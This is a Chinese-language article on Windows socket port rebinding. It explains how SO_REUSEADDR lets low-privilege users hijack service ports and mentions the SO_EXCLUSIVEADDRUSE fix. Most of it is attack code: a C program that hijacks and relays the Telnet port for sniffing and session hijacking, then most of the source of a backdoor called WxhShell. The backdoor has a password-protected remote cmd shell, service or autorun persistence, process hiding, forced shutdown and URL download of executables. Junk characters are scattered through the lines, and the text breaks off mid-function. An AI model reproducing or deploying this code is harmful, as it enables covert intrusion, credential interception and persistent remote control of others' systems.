在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\dw*yZ^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=dTsGNz b(|1DE0Cv saddr.sin_family = AF_INET;
mu}T,+9\ t^-yK;`?q: saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\w\{x0u a}MSA/K( bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
^+zhzfJ 6+Wkcrh 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
]Sgc42hk Foc) u~ 这意味着什么?意味着可以进行如下的攻击:
9py*gN# }qOj^pkJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
l
d4#jV ei -<Zs7( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
S 8$kxQg QvN=<V 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
W_ hckq. #^~[\8v> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
N++jI( P(#by{s 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
7Ta",S@m 8rx"D`{| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
L#^'9v}Hb Ot#O];3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
iI(7{$y 1"5-doo #include
dy%#E2f #include
ypK1
sw #include
NWq>Z!x` #include
l3C%`[MB DWORD WINAPI ClientThread(LPVOID lpParam);
"=97:H{! int main()
OPsg3pW!] {
=Vm"2g,aA WORD wVersionRequested;
T2^0Q9E? DWORD ret;
) ]x/3J@ WSADATA wsaData;
N1O.U"L; BOOL val;
xVn"xk SOCKADDR_IN saddr;
qvH7 otA SOCKADDR_IN scaddr;
U*sQYt<?g int err;
9OnH3 SOCKET s;
%8a886;2 SOCKET sc;
#}Qzu~ int caddsize;
mOkf HANDLE mt;
DlWnz- DWORD tid;
]d|:&h wVersionRequested = MAKEWORD( 2, 2 );
bEJz>oyW" err = WSAStartup( wVersionRequested, &wsaData );
5_MqpCL if ( err != 0 ) {
M{ mdh\ printf("error!WSAStartup failed!\n");
E8=8OX/{Y return -1;
u'BuZF
}
TsB"<6@!AA saddr.sin_family = AF_INET;
"/&_B |*+f N8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ZFAi 9M ,@1.&!F4it saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
"+6:vhP5 saddr.sin_port = htons(23);
W+C@(}pt if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"V;5Lp b {
SCZ6:P"$qX printf("error!socket failed!\n");
~K-c-Zs#z return -1;
^6E+l# }
?zD?- val = TRUE;
{T0f]]}Q //SO_REUSEADDR选项就是可以实现端口重绑定的
?!:$Z4G if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'9Hah {
IP]"D" printf("error!setsockopt failed!\n");
{{WA=\N8C return -1;
(A\p5@ht }
5D32d1A //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
nCz_gYcIx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
` 5.PPI\h2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
.%(Q*ioDh cCoa3U/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
1UHStR {
61W
ms@D% ret=GetLastError();
< c}cgD4 printf("error!bind failed!\n");
Sf2pU!5n^ return -1;
>(}
I7 }
^ MUSq( listen(s,2);
_'yN4>=6u while(1)
RiY9[ec2 {
2$g3ABfV caddsize = sizeof(scaddr);
i8\&J. //接受连接请求
KfO$bmwmx sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
7eh<>X!TX if(sc!=INVALID_SOCKET)
?5A!/`E&% {
,&1DKx mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
9bL`0L if(mt==NULL)
/"Bm1 {
j}2,|9ne printf("Thread Creat Failed!\n");
~ "^]\3# break;
5f:Mb|.? }
}CiB+ }
%YI Xk1 CloseHandle(mt);
=2
3H/ }
CO`%eL~ closesocket(s);
V?a+u7*U& WSACleanup();
X_}2xo|T return 0;
UKBVCAK }
}w0>mA0=H DWORD WINAPI ClientThread(LPVOID lpParam)
G/2| *H {
i,{'}B SOCKET ss = (SOCKET)lpParam;
x>?jfN,e SOCKET sc;
>>**n9\q unsigned char buf[4096];
ndIf1} SOCKADDR_IN saddr;
3 9|4)1e long num;
bvf}r
,`Q7 DWORD val;
)jh4HMvmC DWORD ret;
&:i|;^^2 //如果是隐藏端口应用的话,可以在此处加一些判断
U9d0nj9 j //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
W3XVr& saddr.sin_family = AF_INET;
aIrQ=} saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
vgc#IEx@ saddr.sin_port = htons(23);
B>hC8^.S|w if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
F
;o ^. {
(o!v,=# 6{ printf("error!socket failed!\n");
],lrT0_cT return -1;
=
h
_>OA }
{R2gz]v4 val = 100;
6/m|Sg.m if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
TV~<1vj {
MT8BP)C ret = GetLastError();
x-Kq=LFy. return -1;
[Ch)6p }
[7Yfv
Xp if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;\F3~rl {
CnJrJ>l ret = GetLastError();
@A_bZQ@ return -1;
DriJn`vtzq }
E|(T(4; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
s&<6{AU(id {
Z'P>sV printf("error!socket connect failed!\n");
v&hQ;v closesocket(sc);
YceX) closesocket(ss);
:N \j@yJK return -1;
U#I8Rd I, }
p7UdZOi2 while(1)
`aj;FrF {
7X
h'VOljB //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Op&i6V}<s //如果是嗅探内容的话,可以再此处进行内容分析和记录
h&$7^P //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
td:GZ % num = recv(ss,buf,4096,0);
kEH(\3,l if(num>0)
h|=<I)}z send(sc,buf,num,0);
X=i^[?C else if(num==0)
e/pZLj]M break;
tevB2'3^ num = recv(sc,buf,4096,0);
i'GBj,: if(num>0)
:x36^{7 send(ss,buf,num,0);
p)5j~Nl else if(num==0)
W| z
djb break;
wA+QUN3#n }
-6URM`y'j closesocket(ss);
K3uNR w closesocket(sc);
~i)m(65: return 0 ;
{*gO1TZt9 }
Lci SQ
R! 3ErW3Ac Ou I<v1S ==========================================================
[Yo3=(7J j.? '*?P 下边附上一个代码,,WXhSHELL
AY{-Hf& *SW.K{{ ==========================================================
E8[{U8)[;5 |\yVnk!c #include "stdafx.h"
9n#Q1Xq G~SgI>Q #include <stdio.h>
%^e~;i=2 #include <string.h>
[0M2`x4` #include <windows.h>
O~E6"vQ #include <winsock2.h>
[D8u.8q #include <winsvc.h>
Q}pnb3J>T #include <urlmon.h>
V'kCd4 ^hG
Y,\K9 #pragma comment (lib, "Ws2_32.lib")
_0~WT #pragma comment (lib, "urlmon.lib")
"|{3V:e>a <r6e23 #define MAX_USER 100 // 最大客户端连接数
av-l_iE #define BUF_SOCK 200 // sock buffer
{[r}&^K15 #define KEY_BUFF 255 // 输入 buffer
zG\g{cB (zW;&A #define REBOOT 0 // 重启
^Z?X\t #define SHUTDOWN 1 // 关机
v9<7= D&x 8db J' #define DEF_PORT 5000 // 监听端口
f L @rv K+9oV[DMs #define REG_LEN 16 // 注册表键长度
.AEOf0t #define SVC_LEN 80 // NT服务名长度
ZG=B'4W 'S_kD! BO // 从dll定义API
]}4{|& e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
wv.FL$f[@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
!ke_?+8sY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
l>l)m-;O typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
aNZJs<3;'D -&4W0JK9 // wxhshell配置信息
yv.Y-c= struct WSCFG {
m!{}Y]FZn int ws_port; // 监听端口
hD~P)@^ char ws_passstr[REG_LEN]; // 口令
-JL int ws_autoins; // 安装标记, 1=yes 0=no
m7zx,bz> char ws_regname[REG_LEN]; // 注册表键名
ooJ ^8L char ws_svcname[REG_LEN]; // 服务名
$~h\8 char ws_svcdisp[SVC_LEN]; // 服务显示名
x"hZOgFZ char ws_svcdesc[SVC_LEN]; // 服务描述信息
L@ ,-V char ws_passmsg[SVC_LEN]; // 密码输入提示信息
?y.q<F) int ws_downexe; // 下载执行标记, 1=yes 0=no
h8IjTd]z{$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
"qL4D4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
[iJU{W Hwr#
NKz- };
1J}i :i& )_*<uSl // default Wxhshell configuration
Vb${Oy+ struct WSCFG wscfg={DEF_PORT,
PQla- "xuhuanlingzhe",
Va^AEuzF 1,
Sq9I]A "Wxhshell",
\/ rK0|2A "Wxhshell",
Gp=X1 F "WxhShell Service",
B;SN}I "Wrsky Windows CmdShell Service",
;B%NFvG "Please Input Your Password: ",
ztSP4lW 1,
)Fc`rY "
http://www.wrsky.com/wxhshell.exe",
]Lc:M'V# "Wxhshell.exe"
]ne&`uO };
b;wf7~a* OBGA~E;% // 消息定义模块
3t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
GCN( char *msg_ws_prompt="\n\r? for help\n\r#>";
Qt+|s&HGt char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
./_o+~\e' char *msg_ws_ext="\n\rExit.";
yo)a_rY char *msg_ws_end="\n\rQuit.";
Of)EBa<5^ char *msg_ws_boot="\n\rReboot...";
kF:4[d char *msg_ws_poff="\n\rShutdown...";
Wa#!O$u char *msg_ws_down="\n\rSave to ";
Qr`WPTQr" VE4Z;Dr" char *msg_ws_err="\n\rErr!";
,|gX?[o char *msg_ws_ok="\n\rOK!";
/O"IA4O GF6c6TXF@ char ExeFile[MAX_PATH];
2?3D`
` int nUser = 0;
`v*UY HANDLE handles[MAX_USER];
.&:GOD int OsIsNt;
+\SNaq~& #UR4I2t* SERVICE_STATUS serviceStatus;
wRgh`Hc\} SERVICE_STATUS_HANDLE hServiceStatusHandle;
t`b>iX%(1t ->DfT*) // 函数声明
IUX~dO int Install(void);
Vp = int Uninstall(void);
1}#(4tw) int DownloadFile(char *sURL, SOCKET wsh);
>>lT-w int Boot(int flag);
hg}Rh void HideProc(void);
:e-&,K int GetOsVer(void);
EleK*l int Wxhshell(SOCKET wsl);
<ex,@{n4 void TalkWithClient(void *cs);
1:-^* int CmdShell(SOCKET sock);
__U;fH{c int StartFromService(void);
!^Mk5E ( int StartWxhshell(LPSTR lpCmdLine);
TGnyN'P| s>Eu[uA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
M8Y\1#~ VOID WINAPI NTServiceHandler( DWORD fdwControl );
=}S*]Me5 O.7Q*^_ // 数据结构和表定义
neQ2k=ao SERVICE_TABLE_ENTRY DispatchTable[] =
x`'2oz=,F4 {
IY@) {wscfg.ws_svcname, NTServiceMain},
j%%l$i~ {NULL, NULL}
3L24|-GxH };
&5&C
)^+v*=Dc-i // 自我安装
zV)Ob0M7U int Install(void)
}s;W{Q {
># FO0R char svExeFile[MAX_PATH];
8l|v#^v HKEY key;
7
4rmxjiN strcpy(svExeFile,ExeFile);
h1 \)_jxA 3}::"X // 如果是win9x系统,修改注册表设为自启动
w H&Rjn if(!OsIsNt) {
_vA\j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'</ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Jhbkp?Zli RegCloseKey(key);
OtuOT=% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
H-%)r&"vn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
MF>1u% RegCloseKey(key);
27b7~! return 0;
S5:`fo^5 }
{e,m<mAi }
hw`+,_ g }
6x\+j else {
x{u7# s1|/ pm<zw- // 如果是NT以上系统,安装为系统服务
{r2-^QHF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
YQ>P{I%J if (schSCManager!=0)
;I'pC?!y {
jKV,i? SC_HANDLE schService = CreateService
w yO@oi
Vn (
XAuB .)| schSCManager,
Ya] qo] wscfg.ws_svcname,
b&u o^G, wscfg.ws_svcdisp,
G!~[+B SERVICE_ALL_ACCESS,
<wwcPe} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
3 wVN:g7 SERVICE_AUTO_START,
kq6K<e4jO SERVICE_ERROR_NORMAL,
0dhJ# [Y svExeFile,
ZOl
=zn NULL,
9OB[ig NULL,
2#Fc4RR;
NULL,
Ij>x3L\- NULL,
>j1\]uo NULL
i][7S mN );
[07N<< if (schService!=0)
xw-x<7 {
z^
+CD- CloseServiceHandle(schService);
u/FnA-L4 CloseServiceHandle(schSCManager);
4VE7%.z+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
pfW0)V1t strcat(svExeFile,wscfg.ws_svcname);
1
O+4A[cr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
o"@y=n/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
3=xb%Upw RegCloseKey(key);
T*>n
a8W return 0;
_H|c_ }
zECdj'/ }
=p>"PqJ/7n CloseServiceHandle(schSCManager);
P/._ tQu6 }
y|!%C-P }
Xui${UYN gkS#=bv9e@ return 1;
| ]`gps }
U6qv8*~ @L|X('i // 自我卸载
,)A^ 3Q* int Uninstall(void)
&)L2a) {
s)%RmsdL HKEY key;
07-S%L7Z Uh}n'Xd#{} if(!OsIsNt) {
P8.tl"q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
iZ+\vO?| RegDeleteValue(key,wscfg.ws_regname);
"|pNS) RegCloseKey(key);
UM%[UyYQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
cOra`7L` RegDeleteValue(key,wscfg.ws_regname);
a#W:SgE?Y RegCloseKey(key);
wL,b.] return 0;
}*l V }
fAWjk&9 }
,YFuMek }
NUBzm nA>8 else {
0`/ PEK{ vrXmzq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
D1bS=>
;," if (schSCManager!=0)
SV .\B {
POTW+Zq] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
|E-0P=h if (schService!=0)
N!DAn\g {
k;:v~7VF if(DeleteService(schService)!=0) {
~*-ar 6 CloseServiceHandle(schService);
_)Uw-vhQiT CloseServiceHandle(schSCManager);
'X{cDdS^ return 0;
L'4ob4r{L }
F.?`<7 CloseServiceHandle(schService);
Oy[1_qfP }
}.|\<8_ CloseServiceHandle(schSCManager);
0B)l"$W[)/ }
L1*P<Cb }
^pMjii8IZ _GK^ 7}u return 1;
Q17"hO>kC }
ZC3b9:tk 4*OL^\% // 从指定url下载文件
vOsd>3" int DownloadFile(char *sURL, SOCKET wsh)
Ojp)OeF\ {
DR/qe0D HRESULT hr;
u3kK!2cdP char seps[]= "/";
UC^&&
2maI char *token;
[.B)W); char *file;
_lb ^ char myURL[MAX_PATH];
ME~ga,|K char myFILE[MAX_PATH];
&V1N
a1` S{j|("W"[ strcpy(myURL,sURL);
a&)0_i:r token=strtok(myURL,seps);
Pgg6(O9}B^ while(token!=NULL)
c"t1E-Nsk {
4vTO # F file=token;
k|-`d token=strtok(NULL,seps);
c\UVMyE }
I})la!9 VB*N;bM^ GetCurrentDirectory(MAX_PATH,myFILE);
z
h0 m3|9O strcat(myFILE, "\\");
?GU/Rf!H# strcat(myFILE, file);
{6)fZpd)@ send(wsh,myFILE,strlen(myFILE),0);
?ECmPS1 send(wsh,"...",3,0);
T^NY|Y/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
,5'LbO- if(hr==S_OK)
oM-{)rvQd return 0;
CmRn else
&'Qz return 1;
tx&>Eo B{a:cz>0< }
{f#{NA5 aGNVqS%y // 系统电源模块
( gO ?-0 int Boot(int flag)
tC\x9&: {
zB\g'F/ HANDLE hToken;
8-cG[/|0 TOKEN_PRIVILEGES tkp;
sl|s#+Z _3tHzDSG# if(OsIsNt) {
m3
; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
]R}#3(]1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Ri4_zb tkp.PrivilegeCount = 1;
UT [7 J tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
m\7-/e2a AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
#h ;j2 if(flag==REBOOT) {
WM: ~P$%cx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
2 8SlFu? return 0;
rui}a=rs }
[e3|yE6 else {
-'JTVfm. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;|w &n return 0;
z=!$3E ecr }
C!XI0d
}
rfYu8- else {
c }ivYH?`w if(flag==REBOOT) {
w>; :mf if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
%H>vMR-,~ return 0;
|`s}PcV }
66D<Up'K else {
wc)[r~On(5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
FR0zK=\ return 0;
aRq7x~j
)\ }
8_>\A=
E
}
:84ja>`c hiaj!&+Q return 1;
<,Sy:>:" }
0ang~_ /OgXNIl] // win9x进程隐藏模块
r4JXbh6Tt void HideProc(void)
ixBM>mRK {
Yc=y Vh |_F-Abk HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,TOLr%+v~n if ( hKernel != NULL )
)
EEr? " {
7t5X pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
yZK1bnYG|I ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
k(=\&T FreeLibrary(hKernel);
<Xp
F }
#1hT#YN ,9|% return;
:m5&
i& }
)oTEB#J Qat%<;P2 // 获取操作系统版本
FvG9PPd int GetOsVer(void)
8)5n {
l4U& CA y OSVERSIONINFO winfo;
$2]1 3j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
MGc=TQ. GetVersionEx(&winfo);
BGOI$, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Rt7}e09HV return 1;
*Vfas|3hZI else
z$ysp! return 0;
KyXgw }
:m8ED[9b ||`w MWq // 客户端句柄模块
><LIOFqsS int Wxhshell(SOCKET wsl)
Z<jRZH*L {
{N)\It SOCKET wsh;
1GOa'bxm struct sockaddr_in client;
Cb=r 8C DWORD myID;
oge^2 Ep 5lmzg while(nUser<MAX_USER)
vlyq2>TfR {
(n" ) int nSize=sizeof(client);
P7egT,Z wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
n,PHfydqX if(wsh==INVALID_SOCKET) return 1;
:m#vvH MFW?m,It) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
E>4#j
PK if(handles[nUser]==0)
~pzaX8! closesocket(wsh);
W:(:hT6`j9 else
C^nL{ZP, nUser++;
v^@L?{"}8 }
y{u6t 3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
yl 0?Y {6 #3` return 0;
x ?^c:`. }
3;>(W m*i~Vjxj-m // 关闭 socket
R%#c~NOO void CloseIt(SOCKET wsh)
=v:_N.Fh-c {
07(E/A] closesocket(wsh);
++&F5'?g nUser--;
$)n{}8^ ExitThread(0);
]2h[.qa }
~%#?;hJ
n:wn(BC3 // 客户端请求句柄
T"QY@#E void TalkWithClient(void *cs)
tH_#q"@) {
K"}Dbr \W= SOCKET wsh=(SOCKET)cs;
GK&yP%Z3 char pwd[SVC_LEN];
So`xd
*C! char cmd[KEY_BUFF];
@b>]q$)(} char chr[1];
5&}icS int i,j;
{_q2kk 46XB6z01 while (nUser < MAX_USER) {
N23s{S t
}rO4b>J if(wscfg.ws_passstr) {
XX6&%7( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7PQedZ<\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@=;6:akz` //ZeroMemory(pwd,KEY_BUFF);
2Cr+Z(f i=0;
W!X#:UM) while(i<SVC_LEN) {
a@8knJ| 8U;!1!+
7) // 设置超时
{;p/V\ fd_set FdRead;
8ZIv:nO$ struct timeval TimeOut;
iGha pD FD_ZERO(&FdRead);
spl*[ d FD_SET(wsh,&FdRead);
9&d BL0 TimeOut.tv_sec=8;
|HG%o
3E] TimeOut.tv_usec=0;
qS2%U?S7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0I#<-9&d- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
0(i`~g5 [;?^DAnK2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
I7uYsjh@u pwd
=chr[0]; }s)Z:6;(,q
if(chr[0]==0xd || chr[0]==0xa) { 92SB'T>
pwd=0; ;JZXSM-3
break; gIRCJ=e[b
} Q1jyetk~I
i++; s]I],>}RU
} 3R{-\ZMd
;zCHEz
// 如果是非法用户,关闭 socket TuF:m"4
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #-@{ rgH
} JfVayI=
<;XJ::d
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]!A;-m
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K[ \z'9Q
hV,3xrm?P
while(1) { *jJ62-o
,h>w %
ZeroMemory(cmd,KEY_BUFF); kEXcEF_9P
p0tv@8C>
// 自动支持客户端 telnet标准 v4v+;[a%
j=0; \;?\@vo<
while(j<KEY_BUFF) { t{7l.>kf
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JNu - z:J
cmd[j]=chr[0]; S1B/ClKWq
if(chr[0]==0xa || chr[0]==0xd) { m_Rgv.gE^
cmd[j]=0; R80R{Ze
break; TtvS|09p;
} E$1^}RGT)
j++; 9:Y:Vx
} jqLyX
RhJ<<T.2
// 下载文件 D3K`b4YV
if(strstr(cmd,"http://")) { pP
r<8tm[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {10ms_s
if(DownloadFile(cmd,wsh)) tS9m8(Hr%Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
1y@-
else H,I}R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :D,YR(])
} -?]ltn9!
else { lvN{R{7>
oby*.61?5l
switch(cmd[0]) { ;?[~]"
{jVFlKP>
// 帮助 \8$`:3,@
case '?': { OM.^>=
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M ?3N
break; kzmt'/ L8
} [yyV`&
// 安装 U=t'>;(g
case 'i': { VsmL#@E
if(Install()) +sI.GWQ_:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a(7ryl~c=
else xC{NIOYn'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0l##M06>
break; aE%VH ;?
} _qg6(
X
// 卸载 %b?Pasf.
case 'r': { &-*nr/xT
if(Uninstall()) Z`*cI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $"i690
else vqs~a7E-P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,,J3 h
break; 4W?<hv+k7*
} WAa?$"U2
// 显示 wxhshell 所在路径 Y;w]u_
case 'p': { }-vBRY
char svExeFile[MAX_PATH]; y(dS1.5F
strcpy(svExeFile,"\n\r"); Z~uKT n
strcat(svExeFile,ExeFile); br;G5^j3?
send(wsh,svExeFile,strlen(svExeFile),0); ]M2<I#hF.
break; ./
:86@O
} KRtu@;?
// 重启 gctaarB&
case 'b': { Cm4*sN.&)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bxN;"{>Xz
if(Boot(REBOOT)) P&GZe/6Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #SYWAcTkO}
else { AAW7@\q.
closesocket(wsh); j+9
S
ExitThread(0); R]Oy4U,f
} W'jXIO
break; V\ "5<>+O
} [!le 9aNg
// 关机 jE#8&P~
case 'd': { CwvNxH#LVu
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /RM-+D:Y
if(Boot(SHUTDOWN)) k)s 7Ev*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 78)^vvn5~
else { k~#|8eLv
closesocket(wsh); Q8x{V_Pot
ExitThread(0); a%!XLyq
} @QG1\W'
break; `k&K"jA7$
} l:eN u}{&
// 获取shell C6w{"[Wv=X
case 's': { @"8QG^q8de
CmdShell(wsh); DKl7|zG4
closesocket(wsh); }/spo3,6
ExitThread(0); e{;e
break; fYy.>m+P1
} ^0Q*o1W
// 退出 yxN!*~BvL
case 'x': { )0mDN.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JNaW>X$K
CloseIt(wsh); e_], O_Z
break; .@Uz/j?>
} [MS.5+1Y
// 离开 [QbXj0en$
case 'q': { .Qt3!ek
send(wsh,msg_ws_end,strlen(msg_ws_end),0); gN(hv.nQ
closesocket(wsh); <gLtX[v!CL
WSACleanup(); v|@n8ED|@K
exit(1); C8:"+;
break; YZRB4T9
} wF8\
} j\f$r,4
} *]WXM.R8
~C/KA6H
// 提示信息 od1omYsR
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1`lFF_stkP
} ~,2hP
~
} V^I/nuy
q}$=bR1+
return; suFOc
} #@^w>D6W
gF6j6
// shell模块句柄 lM^!^6=v0l
int CmdShell(SOCKET sock) i@5%d!J
{ /\cu!yiX
STARTUPINFO si; oh~
vo!
ZeroMemory(&si,sizeof(si)); _a$DY,;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Ia1L{472m
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HFuaoS+b*
PROCESS_INFORMATION ProcessInfo; MuV0;K\
char cmdline[]="cmd"; SRN9(LN
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]t)M}^w
return 0; @z)tC@
} ""3m!qn#
^YJA\d@
// 自身启动模式 WWW#s gM%
int StartFromService(void) :ZS8Zm"
{ +esNwz_
typedef struct 6^O?p2xpo
{ M#]|$\v(
DWORD ExitStatus; 1L8ULxi_?]
DWORD PebBaseAddress; Nu/Qa:H_{
DWORD AffinityMask; |8 2tw|<o
DWORD BasePriority; >B /&V|E
ULONG UniqueProcessId; jne9=Als5
